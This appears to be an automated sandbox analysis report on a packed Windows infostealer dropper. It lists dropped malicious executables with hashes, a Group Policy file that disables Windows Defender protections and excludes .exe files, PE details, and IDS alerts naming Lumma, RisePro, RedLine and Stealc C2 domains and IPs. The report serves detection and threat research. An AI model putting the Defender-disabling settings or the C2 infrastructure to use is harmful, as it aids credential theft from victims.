Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	470528
Entropy (8bit):	7.711295641924988
Encrypted:	false
SSDEEP:	12288:mQJRsrrQqYvbeUVOyJ3GJNu0ADIJTls9tJBKM1I59rM:akkyJoNYDOsrqM259A
MD5:	E154829A16292C782B579D217E0EA8BF
SHA1:	5D2FB1535930184E7212B5FB780C638F32A03CEE
SHA-256:	132FE6D8E5C0026B4F9E0DE786CCC4A35FC22D86821D230F8D8EA924E825FFBF
SHA-512:	D0ACBC1D810F628107E095959A2C53EF6E58ADCC8631F1AB16353B1294B7F51F13B1FF9936AB5E86AFF2D3C4FAD9C56F3DF263D9F7B27DE8FFA3CD508537A300
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......jL$..-J,.-J,.-J,._I-"-J,._O-.-J,._N-;-J,._K---J,.-K,u-J,.N-<-J,.I-:-J,.O-`-J,.O-/-J,.H-/-J,Rich.-J,........PE..L.....Nf...............'.............I............@.......................................@..................................Y..(............................`..P....?...............................?..@...............@............................text............................... ..`.bSs................................ ..`.rdata.............................@..@.data........p.......@..............@....reloc..P....`......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	744960
Entropy (8bit):	7.822971503052979
Encrypted:	false
SSDEEP:	12288:q+dJfgo8vQKBuYVcUOmsIzxGd1OrZ7Ir2YjqF7fKjnmaoBt9WWayr9q0:hgoWQKBuXUtgdAJ2maoBtKyr9q0
MD5:	ADD437E239EBA1CEABCA80AF38F80B56
SHA1:	7D288EB76B3F0B1B3C37A020A61E97D4E43A1450
SHA-256:	2CE2C104C964166CF5FC95D7C855C173533BF28B7053A398BB01E757FD0D94EA
SHA-512:	C6447B5E35F05399EFB4263DB09C2E980F402C2368A06806A37684B0B248635B6F64F51587479D9FE66F833F5C44EA7A571CE7D5F5886A5EB54B6DF30F9A9FD5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)..)..)..{..)..{1..)..{0.)..QB.)..)...)....4.)..{..)......)..Rich.)..........................PE..L...`{]e............................v=....... ....@............................................................................<....@...............................................................x..@............ ..P............................text...#........................... ..`.rdata..Rk... ...l..................@..@.data...........8...\|..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.015374450878895
Encrypted:	false
SSDEEP:	1536:0k9jHELqei8IP+UzrebBL105tPnNO3ByiGbhwkapILOHn3cUd:0k9jHdeIzrebrCPN2cto
MD5:	0951BF8665040A50D5FB548BE6AC7C1D
SHA1:	59F4315D9953700B41E3CD026054821145DD2E68
SHA-256:	F8E639176247F80ED86FEC07F31735F3381AF3B30F7512F4F9E06A04F0FAB489
SHA-512:	B159DF503A9CFDC0740123D7060918FB1444743417B645C9C28B4FB2AEDEC75660F84F55B3D62A89921B0D76B7AB199DBFE639844A9A11BC6458FB0E06B9FEAD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....)..........."...0..4............... .....@..... ....................................`...@......@............... ...............................`...............................S..8............................................................ ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@........................................H....... !...............-...&...........................................0..L.......(....(.....~......i .....@(..........i(..........(....(....t....o.....(......(.....~....-.r...p.....(....o....s.........~.....~...........V(....r7..p~....o.....~......(....Vs....(....t.........*..BSJB............v4.0.30319......l.......#~..\.......#Strings....T...<...#US.........#GUID.......@...#Blob...........W..........3........!...............................................................

C:\Windows\Logs\StorGroupPolicy.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	32016
Entropy (8bit):	4.9127747785463045
Encrypted:	false
SSDEEP:	768:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrt5X0SHgHgZgZgUgUi/1OkGk1/pprYHHH1T:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrt8
MD5:	B3DD280748A584F06DF7B2125D310965
SHA1:	73C4895F29A9954D92C0798C4FA9E6E261ECB6A0
SHA-256:	28F3500B791DD6C7609A296B0F46764861ED1242F9BD293B49FDF1F2A0D68C27
SHA-512:	788D56B69244B44244285E9913625E191BD75186A40E155A24C9EF988677B7F336DA3E74432E13BD7F34C531B5F472AE2C557A5A2DB2BF08DF304A7492F750EA
Malicious:	false
Reputation:	unknown
Preview:	10/03/2023 7:55:56.00000693:RegEnumKeyExW failed with (259)..10/03/2023 7:55:56.00000693:GP object initialized successfully..10/03/2023 7:55:56.00000756:Deny_All not set for all. Will query other 6 GUIDs..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Deny_All for all devices is being reset..10/03/2023 7:55:56.00000787:Will delete security for disk..10/03/2023 7:55:56.00000787:Volume interface name \\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}..10/0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Reputation:	unknown
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.0926418767732935
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsXovn:1WsMzYHxbnvEcvgeyn
MD5:	7CC972A3480CA0A4792DC3379A763572
SHA1:	F72EB4124D24F06678052706C542340422307317
SHA-256:	02AD5D151250848F2CC4B650A351505AA58AC13C50DA207CC06295C123DDF5E5
SHA-512:	FF5F320356E59EAF8F2B7C5A2668541252221BE2D9701006FCC64CE802E66EEAF6ECF316D925258EB12EE5B8B7DF4F8DA075E9524BADC0024B55FAE639D075B7
Malicious:	true
Reputation:	unknown
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=2..

Static File Info

General

File type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Entropy (8bit):	7.246562693253406
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	BI6oo9z4In.exe
File size:	6'961'664 bytes
MD5:	04196b8a0869c9f19b3805b4f861a0e1
SHA1:	8ed2478e15af46fa12059bc2e47cc638f3238fb0
SHA256:	34f4c84b4046eb6c9b1a30ebaecc226f60170d8c575319354ae120c40e589973
SHA512:	84f9f1de0c8bacce56917e401b8d5ff6a5613b9e231877e8d8be37bdfc03718605f2de39066bafb7fa44435d6eab840ed9c4868716d5127c86f2111b24786e82
SSDEEP:	98304:txondzNbVrqNn9C18EPukfT6fys71nMBEKew2OfVcc:LSbqNn9C1LfT6nyBEKew2OfVcc
TLSH:	67667C62A2581898D72CA0B86690FD2E4345F0266EE07DC397F532F6E51FB5C3E1A707
File Content Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...".;f.........."....'............?..........@.............................P......v.k... .............................................................D..................................

File Icon


Icon Hash:	6f4b6b3b3b180848

Static PE Info

General

Entrypoint:	0x140bb7f3f
Entrypoint Section:	.themida
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x663B8A22 [Wed May 8 14:20:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1ba19d25372b3cb9b6f9bdd416ebf12c

Entrypoint Preview

Instruction
push ebp
call 00007F03F0D4BD12h
pop ebp
dec eax
sub ebp, 001CCF45h
call 00007F03F0D4BD7Fh
pop eax
dec eax
sub eax, 00BB7F52h
jmp 00007F03F0D4BE1Fh
jmp 00007F03F0D4BD11h
jmp 00007F03F0D4BCDCh
jmp 00007F03F0D4BD24h
jmp 00007F03F0D4BD64h
dec eax
mov eax, eax
jmp 00007F03F0D57105h
jmp 00007F03F0D588ADh
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
sub al, 01h
adc eax, dword ptr [eax]
push es
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax+00h], ch
jnle 00007F03F0D57144h
test byte ptr [edx+03h], dl
push ebp
push 00000A00h
add byte ptr [edi+51h], bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9e90ba	0x118	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9cc000	0x1c344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xdfb9f0	0xc	.themida
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x9ea018	0x28	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x9ca000	0x26c600	27cf2c909f7b300fb4d18799f04faa46	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x9cb000	0xce8	0x800	0dca9fb596578cafc161ff73da5fe32e	False	0.88037109375	data	7.280076261857407	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9cc000	0x1c344	0x1c400	c7d3964b18526e3be2cdc85967678ef2	False	0.7422134264380531	data	7.004603762200516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x9e9000	0x1000	0x200	acb85fa52caf236dca9f09a6f814f9a5	False	0.40625	data	3.192461412359317	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x9ea000	0x1000	0x200	a72ef0d94fac75f42bae2af65140f6d5	False	0.052734375	data	0.26425924870095685	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.themida	0x9eb000	0x41a000	0x41a000	5d57b644cde351d5dea8efee392271b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
MUI	0x9cc088	0x110	data	0.5551470588235294
WEVT_TEMPLATE	0x225ad4	0x4f2	data	1.0086887835703002
RT_BITMAP	0x225fc8	0x1246e	data	1.0004140952686276
RT_BITMAP	0x238438	0x1246e	data	1.0004140952686276
RT_BITMAP	0x24a8a8	0x1246e	data	1.0004140952686276
RT_BITMAP	0x25cd18	0x1246e	data	0.9958416892768668
RT_BITMAP	0x26f188	0x1246e	empty	0
RT_BITMAP	0x2815f8	0x1246e	empty	0
RT_BITMAP	0x293a68	0x27c0	empty	0
RT_BITMAP	0x296228	0x27c0	empty	0
RT_BITMAP	0x2989e8	0x37b0	empty	0
RT_BITMAP	0x29c198	0x37b0	empty	0
RT_BITMAP	0x29f948	0x1246e	empty	0
RT_BITMAP	0x2b1db8	0x1246e	empty	0
RT_BITMAP	0x2c4228	0x1246e	empty	0
RT_BITMAP	0x2d6698	0x1246e	empty	0
RT_BITMAP	0x2e8b08	0x120d2	empty	0
RT_BITMAP	0x2fabdc	0x1246e	empty	0
RT_BITMAP	0x30d04c	0x7ef6	empty	0
RT_BITMAP	0x314f44	0x39e	empty	0
RT_BITMAP	0x3152e4	0x332	empty	0
RT_BITMAP	0x315618	0x247a	empty	0
RT_BITMAP	0x317a94	0x552	empty	0
RT_BITMAP	0x317fe8	0x2462	empty	0
RT_BITMAP	0x31a44c	0x1246e	empty	0
RT_BITMAP	0x32c8bc	0x1246e	empty	0
RT_BITMAP	0x33ed2c	0x28e36	empty	0
RT_BITMAP	0x367b64	0x7ef6	empty	0
RT_BITMAP	0x36fa5c	0x33f2	empty	0
RT_BITMAP	0x372e50	0x33da	empty	0
RT_ICON	0x9cc7f4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.5295497185741088
RT_ICON	0x9cd8c4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.41692253188474254
RT_ICON	0x9d1b14	0xef13	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9999836609316537
RT_ICON	0x9e0a50	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	0.34817073170731705
RT_ICON	0x9e10e0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	0.41801075268817206
RT_ICON	0x9e13f0	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	0.5266393442622951
RT_ICON	0x9e1600	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	0.5675675675675675
RT_ICON	0x9e1750	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.4400319829424307
RT_ICON	0x9e2620	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.5040613718411552
RT_ICON	0x9e2ef0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.5852534562211982
RT_ICON	0x9e35e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.3106936416184971
RT_ICON	0x9e3b70	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.4571576763485477
RT_ICON	0x9e6140	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.47912757973733583
RT_ICON	0x9e7210	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.7172131147540983
RT_ICON	0x9e7bc0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.4875886524822695
RT_GROUP_ICON	0x9e8070	0x30	data	0.875
RT_GROUP_ICON	0x9e80c8	0xae	data	0.5919540229885057
RT_MANIFEST	0x9e81b8	0x18a	ASCII text	0.4949238578680203

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
KERNEL32	GetModuleHandleA
USER32.dll	GetCursorPos
ADVAPI32.dll	RegCloseKey
SHELL32.dll	SHGetFolderPathA
ole32.dll	CoCreateInstance
OLEAUT32.dll	VariantClear

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/24/24-09:43:13.166000	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49959	443	192.168.2.4	188.114.96.3
05/24/24-09:42:56.167804	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49897	443	192.168.2.4	188.114.96.3
05/24/24-09:43:42.632425	UDP	2045700	ET MALWARE DNS Query to Neoreklami (service-domain .xyz)	63103	53	192.168.2.4	1.1.1.1
05/24/24-09:43:16.987583	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49982	443	192.168.2.4	188.114.96.3
05/24/24-09:42:58.791036	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49914	443	192.168.2.4	188.114.96.3
05/24/24-09:43:50.593614	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50042	443	192.168.2.4	188.114.96.3
05/24/24-09:43:19.588477	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49989	443	192.168.2.4	188.114.96.3
05/24/24-09:43:40.796850	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50019	443	192.168.2.4	188.114.96.3
05/24/24-09:43:19.614291	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49990	443	192.168.2.4	188.114.96.3
05/24/24-09:43:22.259599	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49997	443	192.168.2.4	188.114.96.3
05/24/24-09:42:28.818653	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49815	50500	192.168.2.4	5.42.65.116
05/24/24-09:43:57.516932	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50057	443	192.168.2.4	188.114.96.3
05/24/24-09:42:28.818558	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49814	50500	192.168.2.4	5.42.65.116
05/24/24-09:43:13.227137	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49960	443	192.168.2.4	188.114.96.3
05/24/24-09:43:15.894859	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49975	443	192.168.2.4	188.114.96.3
05/24/24-09:42:59.906495	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49922	443	192.168.2.4	188.114.96.3
05/24/24-09:43:14.457425	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49967	443	192.168.2.4	188.114.96.3
05/24/24-09:43:51.855346	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50049	443	192.168.2.4	188.114.96.3
05/24/24-09:43:11.447549	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49949	443	192.168.2.4	188.114.97.3
05/24/24-09:43:15.489283	UDP	2052761	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop)	54292	53	192.168.2.4	1.1.1.1
05/24/24-09:43:05.208139	UDP	2052761	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop)	64208	53	192.168.2.4	1.1.1.1
05/24/24-09:43:09.720460	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49942	443	192.168.2.4	188.114.97.3
05/24/24-09:42:51.652352	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49876	443	192.168.2.4	188.114.96.3
05/24/24-09:43:14.394882	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49966	443	192.168.2.4	188.114.96.3
05/24/24-09:43:56.351309	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50056	443	192.168.2.4	188.114.96.3
05/24/24-09:42:52.969864	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49882	443	192.168.2.4	188.114.96.3
05/24/24-09:43:34.256691	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50011	443	192.168.2.4	188.114.96.3
05/24/24-09:43:39.684457	UDP	2052761	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop)	64944	53	192.168.2.4	1.1.1.1
05/24/24-09:43:39.707111	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	50017	443	192.168.2.4	188.114.96.3
05/24/24-09:43:07.345665	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49935	443	192.168.2.4	188.114.97.3
05/24/24-09:43:12.848246	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49957	443	192.168.2.4	188.114.96.3
05/24/24-09:43:03.220077	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49813	50500	192.168.2.4	5.42.67.8
05/24/24-09:42:54.969626	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49892	443	192.168.2.4	188.114.96.3
05/24/24-09:43:20.138785	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49992	443	192.168.2.4	188.114.96.3
05/24/24-09:43:11.290871	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49946	5.42.67.8	192.168.2.4
05/24/24-09:42:52.709354	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49881	443	192.168.2.4	188.114.96.3
05/24/24-09:43:02.949433	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49879	58709	192.168.2.4	147.45.47.126
05/24/24-09:42:34.408762	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	49835	40551	192.168.2.4	5.42.65.115
05/24/24-09:43:13.906634	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49964	443	192.168.2.4	188.114.96.3
05/24/24-09:42:58.566429	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49913	443	192.168.2.4	188.114.96.3
05/24/24-09:43:19.313472	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49972	50500	192.168.2.4	5.42.67.8
05/24/24-09:43:19.313472	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49973	50500	192.168.2.4	5.42.67.8
05/24/24-09:42:23.306775	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49809	80	192.168.2.4	185.172.128.170
05/24/24-09:43:11.888188	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49953	443	192.168.2.4	188.114.97.3
05/24/24-09:43:02.207394	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49926	443	192.168.2.4	188.114.96.3
05/24/24-09:43:09.489817	TCP	2052775	ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI)	49940	443	192.168.2.4	188.114.97.3
05/24/24-09:42:25.189728	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49809	80	192.168.2.4	185.172.128.170
